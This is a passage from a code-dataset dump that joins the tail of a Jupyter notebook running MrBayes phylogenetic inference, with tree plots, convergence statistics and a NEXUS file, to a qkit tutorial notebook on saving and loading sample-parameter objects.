id=\"t5fcb61b183384910b01d21be3f031590\"><g class=\"toytree-Edges\" style=\"fill:none;opacity:1;stroke:rgb(14.9%,14.9%,14.9%);stroke-linecap:round;stroke-opacity:1.0;stroke-width:2\"><path d=\"M 233.6 57.0 L 274.5 164.1\" id=\"14,13\"></path><path d=\"M 233.6 57.0 L 192.6 115.8\" id=\"14,12\"></path><path d=\"M 192.6 115.8 L 160.5 122.2\" id=\"12,11\"></path><path d=\"M 160.5 122.2 L 129.4 135.8\" id=\"11,10\"></path><path d=\"M 129.4 135.8 L 100.4 150.0\" id=\"10,9\"></path><path d=\"M 100.4 150.0 L 75.5 166.5\" id=\"9,8\"></path><path d=\"M 274.5 164.1 L 291.1 196.1\" id=\"13,7\"></path><path d=\"M 274.5 164.1 L 257.9 196.1\" id=\"13,6\"></path><path d=\"M 192.6 115.8 L 224.8 196.1\" id=\"12,5\"></path><path d=\"M 160.5 122.2 L 191.6 196.1\" id=\"11,4\"></path><path d=\"M 129.4 135.8 L 158.4 196.1\" id=\"10,3\"></path><path d=\"M 100.4 150.0 L 125.2 196.1\" id=\"9,2\"></path><path d=\"M 75.5 166.5 L 92.1 196.1\" id=\"8,1\"></path><path d=\"M 75.5 166.5 L 58.9 196.1\" id=\"8,0\"></path></g><g class=\"toytree-AlignEdges\" style=\"stroke:rgb(66.3%,66.3%,66.3%);stroke-dasharray:2, 4;stroke-linecap:round;stroke-opacity:1.0;stroke-width:2\"><path d=\"M 58.9 196.1 L 58.9 196.1\"></path><path d=\"M 92.1 196.1 L 92.1 196.1\"></path><path d=\"M 125.2 196.1 L 125.2 196.1\"></path><path d=\"M 158.4 196.1 L 158.4 196.1\"></path><path d=\"M 191.6 196.1 L 191.6 196.1\"></path><path d=\"M 224.8 196.1 L 224.8 196.1\"></path><path d=\"M 257.9 196.1 L 257.9 196.1\"></path><path d=\"M 291.1 196.1 L 291.1 196.1\"></path></g><g class=\"toytree-Nodes\" style=\"fill:rgb(10.6%,62%,46.7%);fill-opacity:1.0;stroke:rgb(100%,100%,100%);stroke-opacity:1.0;stroke-width:1.5\"><g id=\"node-0\" transform=\"translate(58.915,196.087)\"><circle r=\"4.0\"></circle></g><g id=\"node-1\" transform=\"translate(92.082,196.087)\"><circle r=\"4.0\"></circle></g><g id=\"node-2\" transform=\"translate(125.249,196.087)\"><circle r=\"4.0\"></circle></g><g id=\"node-3\" transform=\"translate(158.416,196.087)\"><circle r=\"4.0\"></circle></g><g id=\"node-4\" transform=\"translate(191.584,196.087)\"><circle r=\"4.0\"></circle></g><g id=\"node-5\" transform=\"translate(224.751,196.087)\"><circle r=\"4.0\"></circle></g><g id=\"node-6\" transform=\"translate(257.918,196.087)\"><circle r=\"4.0\"></circle></g><g id=\"node-7\" transform=\"translate(291.085,196.087)\"><circle r=\"4.0\"></circle></g><g id=\"node-8\" transform=\"translate(75.499,166.547)\"><circle r=\"4.0\"></circle></g><g id=\"node-9\" transform=\"translate(100.374,150.044)\"><circle r=\"4.0\"></circle></g><g id=\"node-10\" transform=\"translate(129.395,135.790)\"><circle r=\"4.0\"></circle></g><g id=\"node-11\" transform=\"translate(160.489,122.189)\"><circle r=\"4.0\"></circle></g><g id=\"node-12\" transform=\"translate(192.620,115.801)\"><circle r=\"4.0\"></circle></g><g id=\"node-13\" transform=\"translate(274.501,164.085)\"><circle r=\"4.0\"></circle></g><g id=\"node-14\" transform=\"translate(233.561,56.957)\"><circle r=\"4.0\"></circle></g></g><g class=\"toytree-Tiplabels-L\" style=\"fill:rgb(14.9%,14.9%,14.9%);fill-opacity:1.0;font-size:11px;font-weight:normal;stroke:none;text-anchor:end;white-space:pre\"><g transform=\"translate(61.98,211.09)rotate(-90.0)\"><text>r1</text></g><g transform=\"translate(95.15,211.09)rotate(-90.0)\"><text>r0</text></g><g transform=\"translate(128.32,211.09)rotate(-90.0)\"><text>r2</text></g><g transform=\"translate(161.48,211.09)rotate(-90.0)\"><text>r3</text></g><g transform=\"translate(194.65,211.09)rotate(-90.0)\"><text>r4</text></g><g transform=\"translate(227.82,211.09)rotate(-90.0)\"><text>r5</text></g><g transform=\"translate(260.98,211.09)rotate(-90.0)\"><text>r7</text></g><g transform=\"translate(294.15,211.09)rotate(-90.0)\"><text>r6</text></g></g><g class=\"toytree-Tiplabels-R\" style=\"fill:rgb(14.9%,14.9%,14.9%);fill-opacity:1.0;font-size:11px;font-weight:normal;stroke:none;text-anchor:start;white-space:pre\"></g></g><g class=\"toytree-mark-Toytree\" id=\"tfbcaa71494eb4606a7e0fba2c56ea9a4\"><g class=\"toytree-Edges\" style=\"fill:none;opacity:1;stroke:rgb(100%,54.9%,0%);stroke-linecap:round;stroke-opacity:1.0;stroke-width:2\"><path d=\"M 233.6 57.0 L 274.5 181.6\" id=\"14,13\"></path><path d=\"M 233.6 57.0 L 192.6 133.7\" id=\"14,12\"></path><path d=\"M 192.6 133.7 L 160.5 142.0\" id=\"12,11\"></path><path d=\"M 160.5 142.0 L 129.4 156.4\" id=\"11,10\"></path><path d=\"M 129.4 156.4 L 100.4 175.0\" id=\"10,9\"></path><path d=\"M 100.4 175.0 L 75.5 187.8\" id=\"9,8\"></path><path d=\"M 274.5 181.6 L 291.1 196.1\" id=\"13,7\"></path><path d=\"M 274.5 181.6 L 257.9 196.1\" id=\"13,6\"></path><path d=\"M 192.6 133.7 L 224.8 196.1\" id=\"12,5\"></path><path d=\"M 160.5 142.0 L 191.6 196.1\" id=\"11,4\"></path><path d=\"M 129.4 156.4 L 158.4 196.1\" id=\"10,3\"></path><path d=\"M 100.4 175.0 L 125.2 196.1\" id=\"9,2\"></path><path d=\"M 75.5 187.8 L 92.1 196.1\" id=\"8,1\"></path><path d=\"M 75.5 187.8 L 58.9 196.1\" id=\"8,0\"></path></g><g class=\"toytree-AlignEdges\" style=\"stroke:rgb(66.3%,66.3%,66.3%);stroke-dasharray:2, 4;stroke-linecap:round;stroke-opacity:1.0;stroke-width:2\"><path d=\"M 58.9 196.1 L 58.9 196.1\"></path><path d=\"M 92.1 196.1 L 92.1 196.1\"></path><path d=\"M 125.2 196.1 L 125.2 196.1\"></path><path d=\"M 158.4 196.1 L 158.4 196.1\"></path><path d=\"M 191.6 196.1 L 191.6 196.1\"></path><path d=\"M 224.8 196.1 L 224.8 196.1\"></path><path d=\"M 257.9 196.1 L 257.9 196.1\"></path><path d=\"M 291.1 196.1 L 291.1 196.1\"></path></g><g class=\"toytree-Tiplabels-L\" style=\"fill:rgb(14.9%,14.9%,14.9%);fill-opacity:1.0;font-size:11px;font-weight:normal;stroke:none;text-anchor:end;white-space:pre\"><g transform=\"translate(61.98,211.09)rotate(-90.0)\"><text>r0</text></g><g transform=\"translate(95.15,211.09)rotate(-90.0)\"><text>r1</text></g><g transform=\"translate(128.32,211.09)rotate(-90.0)\"><text>r2</text></g><g transform=\"translate(161.48,211.09)rotate(-90.0)\"><text>r3</text></g><g transform=\"translate(194.65,211.09)rotate(-90.0)\"><text>r4</text></g><g transform=\"translate(227.82,211.09)rotate(-90.0)\"><text>r5</text></g><g transform=\"translate(260.98,211.09)rotate(-90.0)\"><text>r6</text></g><g transform=\"translate(294.15,211.09)rotate(-90.0)\"><text>r7</text></g></g><g class=\"toytree-Tiplabels-R\" style=\"fill:rgb(14.9%,14.9%,14.9%);fill-opacity:1.0;font-size:11px;font-weight:normal;stroke:none;text-anchor:start;white-space:pre\"></g></g></g><g class=\"toyplot-coordinates-Axis\" id=\"ta9fb877b9e0c4fa5b0a50fbf9aaa44f6\" transform=\"translate(50.0,210.0)rotate(-90.0)translate(0,-20.0)\"><line style=\"\" x1=\"13.913043478260867\" x2=\"153.04347826086956\" y1=\"0\" y2=\"0\"></line><g><line style=\"\" x1=\"13.913043478260867\" x2=\"13.913043478260867\" y1=\"0\" y2=\"5\"></line><line style=\"\" x1=\"83.47826086956519\" x2=\"83.47826086956519\" y1=\"0\" y2=\"5\"></line><line style=\"\" x1=\"153.04347826086953\" x2=\"153.04347826086953\" y1=\"0\" y2=\"5\"></line></g><g><g transform=\"translate(13.913043478260867,-6)\"><text style=\"fill:rgb(16.1%,15.3%,14.1%);fill-opacity:1.0;font-family:helvetica;font-size:10.0px;font-weight:normal;stroke:none;vertical-align:baseline;white-space:pre\" x=\"-2.78\" y=\"-4.440892098500626e-16\">0</text></g><g transform=\"translate(83.47826086956519,-6)\"><text style=\"fill:rgb(16.1%,15.3%,14.1%);fill-opacity:1.0;font-family:helvetica;font-size:10.0px;font-weight:normal;stroke:none;vertical-align:baseline;white-space:pre\" x=\"-16.68\" y=\"-4.440892098500626e-16\">500000</text></g><g transform=\"translate(153.04347826086953,-6)\"><text style=\"fill:rgb(16.1%,15.3%,14.1%);fill-opacity:1.0;font-family:helvetica;font-size:10.0px;font-weight:normal;stroke:none;vertical-align:baseline;white-space:pre\" x=\"-19.459999999999997\" y=\"-4.440892098500626e-16\">1000000</text></g></g><g class=\"toyplot-coordinates-Axis-coordinates\" style=\"visibility:hidden\" transform=\"\"><line style=\"stroke:rgb(43.9%,50.2%,56.5%);stroke-opacity:1.0;stroke-width:1.0\" x1=\"0\" x2=\"0\" y1=\"3.0\" y2=\"-4.5\"></line><text style=\"alignment-baseline:hanging;fill:rgb(43.9%,50.2%,56.5%);fill-opacity:1.0;font-size:10px;font-weight:normal;stroke:none;text-anchor:middle\" x=\"0\" y=\"6\"></text></g></g></g></svg><div class=\"toyplot-behavior\"><script>(function()\n", "{\n", "var modules={};\n", "modules[\"toyplot/canvas/id\"] = \"t2ad5d0576474459388b7e94ab43913e4\";\n", "modules[\"toyplot/canvas\"] = (function(canvas_id)\n", " {\n", " return document.querySelector(\"#\" + canvas_id);\n", " })(modules[\"toyplot/canvas/id\"]);\n", "modules[\"toyplot.coordinates.Axis\"] = (\n", " function(canvas)\n", " {\n", " function sign(x)\n", " {\n", " return x < 0 ? -1 : x > 0 ? 1 : 0;\n", " }\n", "\n", " function mix(a, b, amount)\n", " {\n", " return ((1.0 - amount) * a) + (amount * b);\n", " }\n", "\n", " function log(x, base)\n", " {\n", " return Math.log(Math.abs(x)) / Math.log(base);\n", " }\n", "\n", " function in_range(a, x, b)\n", " {\n", " var left = Math.min(a, b);\n", " var right = Math.max(a, b);\n", " return left <= x && x <= right;\n", " }\n", "\n", " function inside(range, projection)\n", " {\n", " for(var i = 0; i != projection.length; ++i)\n", " {\n", " var segment = projection[i];\n", " if(in_range(segment.range.min, range, segment.range.max))\n", " return true;\n", " }\n", " return false;\n", " }\n", "\n", " function to_domain(range, projection)\n", " {\n", " for(var i = 0; i != projection.length; ++i)\n", " {\n", " var segment = projection[i];\n", " if(in_range(segment.range.bounds.min, range, segment.range.bounds.max))\n", " {\n", " if(segment.scale == \"linear\")\n", " {\n", " var amount = (range - segment.range.min) / (segment.range.max - segment.range.min);\n", " return mix(segment.domain.min, segment.domain.max, amount)\n", " }\n", " else if(segment.scale[0] == \"log\")\n", " {\n", " var amount = (range - segment.range.min) / (segment.range.max - segment.range.min);\n", " var base = segment.scale[1];\n", " return sign(segment.domain.min) * Math.pow(base, mix(log(segment.domain.min, base), log(segment.domain.max, base), amount));\n", " }\n", " }\n", " }\n", " }\n", "\n", " var axes = {};\n", "\n", " function display_coordinates(e)\n", " {\n", " var current = canvas.createSVGPoint();\n", " current.x = e.clientX;\n", " current.y = e.clientY;\n", "\n", " for(var axis_id in axes)\n", " {\n", " var axis = document.querySelector(\"#\" + axis_id);\n", " var coordinates = axis.querySelector(\".toyplot-coordinates-Axis-coordinates\");\n", " if(coordinates)\n", " {\n", " var projection = axes[axis_id];\n", " var local = current.matrixTransform(axis.getScreenCTM().inverse());\n", " if(inside(local.x, projection))\n", " {\n", " var domain = to_domain(local.x, projection);\n", " coordinates.style.visibility = \"visible\";\n", " coordinates.setAttribute(\"transform\", \"translate(\" + local.x + \")\");\n", " var text = coordinates.querySelector(\"text\");\n", " text.textContent = domain.toFixed(2);\n", " }\n", " else\n", " {\n", " coordinates.style.visibility= \"hidden\";\n", " }\n", " }\n", " }\n", " }\n", "\n", " canvas.addEventListener(\"click\", display_coordinates);\n", "\n", " var module = {};\n", " module.show_coordinates = function(axis_id, projection)\n", " {\n", " axes[axis_id] = projection;\n", " }\n", "\n", " return module;\n", " })(modules[\"toyplot/canvas\"]);\n", "(function(axis, axis_id, projection)\n", " {\n", " axis.show_coordinates(axis_id, projection);\n", " })(modules[\"toyplot.coordinates.Axis\"],\"ta9fb877b9e0c4fa5b0a50fbf9aaa44f6\",[{\"domain\": {\"bounds\": {\"max\": Infinity, \"min\": -Infinity}, \"max\": 1050000.0000000002, \"min\": -100000.0}, \"range\": {\"bounds\": {\"max\": Infinity, \"min\": -Infinity}, \"max\": 160.0, \"min\": 0.0}, \"scale\": \"linear\"}]);\n", "})();</script></div></div>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "# load the inferred tree\n", "mbtre = toytree.tree(\"/tmp/itest-2.nex.con.tre\", 10)\n", "\n", "# scale root node from unitless to 1e6\n", "mbtre = mbtre.mod.node_scale_root_height(1e6)\n", "\n", "# draw inferred tree \n", "c, a, m = mbtre.draw(ts='o', layout='d', scalebar=True);\n", "\n", "# draw true tree in orange on the same axes\n", "TREE.draw(\n", " axes=a, \n", " ts='o', layout='d', scalebar=True, \n", " edge_colors=\"darkorange\",\n", " node_sizes=0,\n", ");" ] }, { "cell_type": "code", "execution_count": 92, "metadata": {}, "outputs": [ { "data": { "text/html": [ "<div>\n", "<style scoped>\n", " .dataframe tbody tr th:only-of-type {\n", " vertical-align: middle;\n", " }\n", "\n", " .dataframe tbody tr th {\n", " vertical-align: top;\n", " }\n", "\n", " .dataframe thead th {\n", " text-align: right;\n", " }\n", "</style>\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>Mean</th>\n", " <th>Variance</th>\n", " <th>Lower</th>\n", " <th>Upper</th>\n", " <th>Median</th>\n", " <th>minESS</th>\n", " <th>avgESS</th>\n", " <th>PSRF</th>\n", " </tr>\n", " <tr>\n", " <th>Parameter</th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>TH</th>\n", " <td>1.438e-02</td>\n", " <td>8.827e-07</td>\n", " <td>1.262e-02</td>\n", " <td>1.641e-02</td>\n", " <td>1.437e-02</td>\n", " <td>561.836</td>\n", " <td>656.418</td>\n", " <td>1.001</td>\n", " </tr>\n", " <tr>\n", " <th>TL</th>\n", " <td>6.213e-02</td>\n", " <td>1.072e-05</td>\n", " <td>5.609e-02</td>\n", " <td>6.894e-02</td>\n", " <td>6.199e-02</td>\n", " <td>528.868</td>\n", " <td>598.330</td>\n", " <td>1.000</td>\n", " </tr>\n", " <tr>\n", " <th>r(A&lt;-&gt;C)</th>\n", " <td>1.307e-01</td>\n", " <td>1.363e-04</td>\n", " <td>1.094e-01</td>\n", " <td>1.541e-01</td>\n", " <td>1.309e-01</td>\n", " <td>656.427</td>\n", " <td>670.789</td>\n", " <td>1.000</td>\n", " </tr>\n", " <tr>\n", " <th>r(A&lt;-&gt;G)</th>\n", " <td>1.323e-01</td>\n", " <td>1.300e-04</td>\n", " <td>1.110e-01</td>\n", " <td>1.544e-01</td>\n", " <td>1.324e-01</td>\n", " <td>576.671</td>\n", " <td>663.836</td>\n", " <td>1.000</td>\n", " </tr>\n", " <tr>\n", " <th>r(A&lt;-&gt;T)</th>\n", " <td>2.159e-01</td>\n", " <td>2.071e-04</td>\n", " <td>1.889e-01</td>\n", " <td>2.456e-01</td>\n", " <td>2.159e-01</td>\n", " <td>589.471</td>\n", " <td>617.054</td>\n", " <td>0.999</td>\n", " </tr>\n", " <tr>\n", " <th>r(C&lt;-&gt;G)</th>\n", " <td>2.303e-01</td>\n", " <td>2.222e-04</td>\n", " <td>1.996e-01</td>\n", " <td>2.583e-01</td>\n", " <td>2.304e-01</td>\n", " <td>552.482</td>\n", " <td>599.817</td>\n", " <td>0.999</td>\n", " </tr>\n", " <tr>\n", " <th>r(C&lt;-&gt;T)</th>\n", " <td>1.479e-01</td>\n", " <td>1.360e-04</td>\n", " <td>1.258e-01</td>\n", " <td>1.703e-01</td>\n", " <td>1.473e-01</td>\n", " <td>593.189</td>\n", " <td>604.339</td>\n", " <td>1.000</td>\n", " </tr>\n", " <tr>\n", " <th>r(G&lt;-&gt;T)</th>\n", " <td>1.428e-01</td>\n", " <td>1.458e-04</td>\n", " <td>1.210e-01</td>\n", " <td>1.671e-01</td>\n", " <td>1.421e-01</td>\n", " <td>457.278</td>\n", " <td>527.656</td>\n", " <td>1.004</td>\n", " </tr>\n", " <tr>\n", " <th>pi(A)</th>\n", " <td>2.479e-01</td>\n", " <td>8.765e-06</td>\n", " <td>2.416e-01</td>\n", " <td>2.532e-01</td>\n", " <td>2.479e-01</td>\n", " <td>515.518</td>\n", " <td>517.603</td>\n", " <td>1.000</td>\n", " </tr>\n", " <tr>\n", " <th>pi(C)</th>\n", " <td>2.490e-01</td>\n", " <td>8.842e-06</td>\n", " <td>2.436e-01</td>\n", " <td>2.552e-01</td>\n", " <td>2.489e-01</td>\n", " <td>360.866</td>\n", " <td>439.721</td>\n", " <td>1.000</td>\n", " </tr>\n", " <tr>\n", " <th>pi(G)</th>\n", " <td>2.509e-01</td>\n", " <td>8.810e-06</td>\n", " <td>2.454e-01</td>\n", " <td>2.570e-01</td>\n", " <td>2.510e-01</td>\n", " <td>388.195</td>\n", " <td>427.827</td>\n", " <td>1.000</td>\n", " </tr>\n", " <tr>\n", " <th>pi(T)</th>\n", " <td>2.522e-01</td>\n", " <td>9.324e-06</td>\n", " <td>2.465e-01</td>\n", " <td>2.582e-01</td>\n", " <td>2.523e-01</td>\n", " <td>378.545</td>\n", " <td>414.868</td>\n", " <td>0.999</td>\n", " </tr>\n", " <tr>\n", " <th>alpha</th>\n", " <td>4.138e-02</td>\n", " <td>7.639e-04</td>\n", " <td>6.544e-05</td>\n", " <td>8.931e-02</td>\n", " <td>3.943e-02</td>\n", " <td>544.383</td>\n", " <td>647.692</td>\n", " <td>1.000</td>\n", " </tr>\n", " <tr>\n", " <th>igrvar</th>\n", " <td>1.155e-04</td>\n", " <td>3.021e-08</td>\n", " <td>1.036e-06</td>\n", " <td>3.720e-04</td>\n", " <td>6.472e-05</td>\n", " <td>402.092</td>\n", " <td>483.518</td>\n", " <td>0.999</td>\n", " </tr>\n", " <tr>\n", " <th>clockrate</th>\n", " <td>1.194e-02</td>\n", " <td>1.689e-05</td>\n", " <td>4.819e-03</td>\n", " <td>1.972e-02</td>\n", " <td>1.162e-02</td>\n", " <td>74.123</td>\n", " <td>84.988</td>\n", " <td>1.012</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " Mean Variance Lower Upper Median minESS \\\n", "Parameter \n", "TH 1.438e-02 8.827e-07 1.262e-02 1.641e-02 1.437e-02 561.836 \n", "TL 6.213e-02 1.072e-05 5.609e-02 6.894e-02 6.199e-02 528.868 \n", "r(A<->C) 1.307e-01 1.363e-04 1.094e-01 1.541e-01 1.309e-01 656.427 \n", "r(A<->G) 1.323e-01 1.300e-04 1.110e-01 1.544e-01 1.324e-01 576.671 \n", "r(A<->T) 2.159e-01 2.071e-04 1.889e-01 2.456e-01 2.159e-01 589.471 \n", "r(C<->G) 2.303e-01 2.222e-04 1.996e-01 2.583e-01 2.304e-01 552.482 \n", "r(C<->T) 1.479e-01 1.360e-04 1.258e-01 1.703e-01 1.473e-01 593.189 \n", "r(G<->T) 1.428e-01 1.458e-04 1.210e-01 1.671e-01 1.421e-01 457.278 \n", "pi(A) 2.479e-01 8.765e-06 2.416e-01 2.532e-01 2.479e-01 515.518 \n", "pi(C) 2.490e-01 8.842e-06 2.436e-01 2.552e-01 2.489e-01 360.866 \n", "pi(G) 2.509e-01 8.810e-06 2.454e-01 2.570e-01 2.510e-01 388.195 \n", "pi(T) 2.522e-01 9.324e-06 2.465e-01 2.582e-01 2.523e-01 378.545 \n", "alpha 4.138e-02 7.639e-04 6.544e-05 8.931e-02 3.943e-02 544.383 \n", "igrvar 1.155e-04 3.021e-08 1.036e-06 3.720e-04 6.472e-05 402.092 \n", "clockrate 1.194e-02 1.689e-05 4.819e-03 1.972e-02 1.162e-02 74.123 \n", "\n", " avgESS PSRF \n", "Parameter \n", "TH 656.418 1.001 \n", "TL 598.330 1.000 \n", "r(A<->C) 670.789 1.000 \n", "r(A<->G) 663.836 1.000 \n", "r(A<->T) 617.054 0.999 \n", "r(C<->G) 599.817 0.999 \n", "r(C<->T) 604.339 1.000 \n", "r(G<->T) 527.656 1.004 \n", "pi(A) 517.603 1.000 \n", "pi(C) 439.721 1.000 \n", "pi(G) 427.827 1.000 \n", "pi(T) 414.868 0.999 \n", "alpha 647.692 1.000 \n", "igrvar 483.518 0.999 \n", "clockrate 84.988 1.012 " ] }, "execution_count": 92, "metadata": {}, "output_type": "execute_result" } ], "source": [ "mb.convergence_stats" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### To see the NEXUS file (data, parameters, priors):" ] }, { "cell_type": "code", "execution_count": 93, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "#NEXUS\n", "\n", "[log block]\n", "log start filename=/tmp/itest-2.nex.log replace;\n", "\n", "[data block]\n", "execute /tmp/mbtest-2.nex;\n", "\n", "[tree block]\n", "begin trees;\n", " tree fixedtree = ((r7,r6),(r5,(r4,(r3,(r2,(r1,r0))))));\n", "end;\n", "\n", "[mb block]\n", "begin mrbayes;\n", " set autoclose=yes nowarn=yes;\n", "\n", " lset nst=6 rates=gamma;\n", "\n", " prset brlenspr=clock:uniform;\n", " prset clockvarpr=igr;\n", " prset igrvarpr=exp(10.0);\n", " prset clockratepr=normal(0.01,0.005);\n", " prset topologypr=fixed(fixedtree);\n", "\n", " \n", "\n", " mcmcp ngen=1000000 nrun=2 nchains=4;\n", " mcmcp relburnin=yes burninfrac=0.25;\n", " mcmcp samplefreq=1000;\n", " mcmcp printfreq=10000 diagnfr=5000;\n", " mcmcp filename=/tmp/itest-2.nex;\n", " mcmc;\n", "\n", " sump filename=/tmp/itest-2.nex;\n", " sumt filename=/tmp/itest-2.nex contype=allcompat;\n", "end;\n", "\n", "[log block]\n", "log stop filename=/tmp/itest-2.nex.log append;\n", "\n" ] } ], "source": [ "mb.print_nexus_string()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### (3) Tree inference (not fixed topology) and plotting support values\n", "Here we will try to infer the topology from a concatenated data set (i.e., not set a constraint on the topology). I increased the ngen setting since the MCMC chain takes longer to converge when searching over topology space. " ] }, { "cell_type": "code", "execution_count": 95, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "brlenspr clock:uniform \n", "clockratepr normal(0.01,0.005) \n", "clockvarpr igr \n", "igrvarpr exp(10.0) \n", "nchains 4 \n", "ngen 2000000 \n", "nruns 2 \n", "samplefreq 1000 \n", "topologypr uniform \n", "\n", "job itest-3 finished successfully\n" ] } ], "source": [ "# init the mb object\n", "mb = ipa.mrbayes(\n", " data=\"/tmp/mbtest-2.nex\",\n", " name=\"itest-3\",\n", " workdir=\"/tmp\",\n", " clock_model=2,\n", " ngen=int(2e6),\n", " nruns=2,\n", ")\n", "\n", "# summary of priors/params\n", "print(mb.params)\n", "\n", "# start run\n", "mb.run(force=True)" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "# load the inferred tree\n", "mbtre = toytree.tree(\"/tmp/itest-3.nex.con.tre\", 10)\n", "\n", "# scale root node from unitless to 1e6\n", "mbtre = mbtre.mod.node_scale_root_height(1e6)\n", "\n", "# draw inferred tree \n", "c, a, m = mbtre.draw(\n", " #ts='s', \n", " layout='d',\n", " scalebar=True, \n", " node_sizes=18, \n", " node_labels=\"prob{percent}\",\n", ");" ] } ], "metadata": { "kernelspec": { "display_name": "Python 3", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.6.7" } }, "nbformat": 4, "nbformat_minor": 4 }

gpl-3.0

Amarchuk/2FInstability

notebooks/sve/Malin1.ipynb

2

2234924

gpl-3.0

qkitgroup/qkit

qkit/doc/notebooks/Sample_Class.ipynb

1

7242

{ "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "# Qkit Sample Objects" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "The sample objects are very general and basic objects in qkit. They can be used to **store any parameters of your current measurement sample**. Sample objects are used as default in some measurement scripts like timedomain measurements to reduce the number of parameters that is passed as arguments. \n", "\n", "The sample object can basically be seen as a dict, where you can store any information you want. This is particularly helpful if you write your own measurement notebook and want to apply it to different samples with different parameters. You can then simply exchange the loaded sample at the beginning of your notebook and leave the rest untouched." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Get started" ] }, { "cell_type": "code", "execution_count": 1, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "QKIT configuration initialized -> available as qkit.cfg[...]\n" ] } ], "source": [ "import qkit\n", "qkit.cfg['datadir'] = r'c:\\data'\n", "qkit.cfg['run_id'] = 'Run0'\n", "qkit.cfg['user'] = 'qkit_user'\n", "\n", "import qkit.measure.samples_class as sc" ] }, { "cell_type": "code", "execution_count": 2, "metadata": {}, "outputs": [], "source": [ "demo = sc.Sample()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "We start by creating an empty sample, which only has *comment* and *name* as attributes.\n", "\n", "You can either use the `sample.get_all()` function to get a string of all attributes, or you directly use *sample.attribute* to access the attribute directly." ] }, { "cell_type": "code", "execution_count": 3, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "comment: \n", "name: Arbitrary Sample\n", "\n" ] } ], "source": [ "print demo.get_all()" ] }, { "cell_type": "code", "execution_count": 4, "metadata": {}, "outputs": [ { "data": { "text/plain": [ "'Arbitrary Sample'" ] }, "execution_count": 4, "metadata": {}, "output_type": "execute_result" } ], "source": [ "demo.name" ] }, { "cell_type": "code", "execution_count": 5, "metadata": {}, "outputs": [], "source": [ "demo.comment = \"This sample looks promising.\"" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Adding new attributes is easy, you can just set them:" ] }, { "cell_type": "code", "execution_count": 6, "metadata": {}, "outputs": [], "source": [ "demo.frequency = 8e9" ] }, { "cell_type": "code", "execution_count": 7, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "comment: This sample looks promising.\n", "frequency: 8000000000.0\n", "name: Arbitrary Sample\n", "\n" ] } ], "source": [ "print demo.get_all()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "The sample class has also a get function, which can be used to set a default. (the same as in a dict)" ] }, { "cell_type": "code", "execution_count": 8, "metadata": {}, "outputs": [ { "data": { "text/plain": [ "8000000000.0" ] }, "execution_count": 8, "metadata": {}, "output_type": "execute_result" } ], "source": [ "demo.get('frequency',1e9)" ] }, { "cell_type": "code", "execution_count": 9, "metadata": {}, "outputs": [ { "data": { "text/plain": [ "0" ] }, "execution_count": 9, "metadata": {}, "output_type": "execute_result" } ], "source": [ "demo.get('current',0)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Saving samples" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "The `save` function saves the full sample object into a JSON serialized file. You can pass a *filename* argument:\n", "* **None (default)**: save to datadir/ID.sample\n", "* **absolute filepath**: save to filepath\n", "* **any other string**: save to datadir/ID_string.sample\n", "\n", "Here, datadir is `qkit.cfg['datadir']` and ID is the measurement ID as it would be given for a regular measurement." ] }, { "cell_type": "code", "execution_count": 10, "metadata": {}, "outputs": [ { "data": { "text/plain": [ "'c:\\\\data\\\\Run0\\\\qkit_user\\\\P8PWYL.sample'" ] }, "execution_count": 10, "metadata": {}, "output_type": "execute_result" } ], "source": [ "demo.save()" ] }, { "cell_type": "code", "execution_count": 11, "metadata": {}, "outputs": [ { "data": { "text/plain": [ "'c:\\\\data\\\\Run0\\\\qkit_user\\\\P8PWYL_sweet_spot.sample'" ] }, "execution_count": 11, "metadata": {}, "output_type": "execute_result" } ], "source": [ "demo.save('sweet_spot')" ] }, { "cell_type": "code", "execution_count": 12, "metadata": {}, "outputs": [ { "data": { "text/plain": [ "u'C:/Users/Public/qkitsample.sample'" ] }, "execution_count": 12, "metadata": {}, "output_type": "execute_result" } ], "source": [ "demo.save(u'C:/Users/Public/qkitsample')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Loading samples" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "You can either use an existig sample with `sample.load(filename)` or generate a new sample `Sample(filename)`" ] }, { "cell_type": "code", "execution_count": 13, "metadata": {}, "outputs": [], "source": [ "demo.load('Run0/qkit_user/P8PWYL.sample') # path can be specified relaive to the datadir" ] }, { "cell_type": "code", "execution_count": 14, "metadata": {}, "outputs": [], "source": [ "demo2 = sc.Sample(u'C:/Users/Public/qkitsample.sample') # absolute pathname is also fine" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Make sure to update all references if you create a new sample object or overwrite it. If you use the `load` function, the reference will stay the same." ] } ], "metadata": { "kernelspec": { "display_name": "Python 2", "language": "python", "name": "python2" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 2 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython2", "version": "2.7.14" } }, "nbformat": 4, "nbformat_minor": 2 }

gpl-2.0

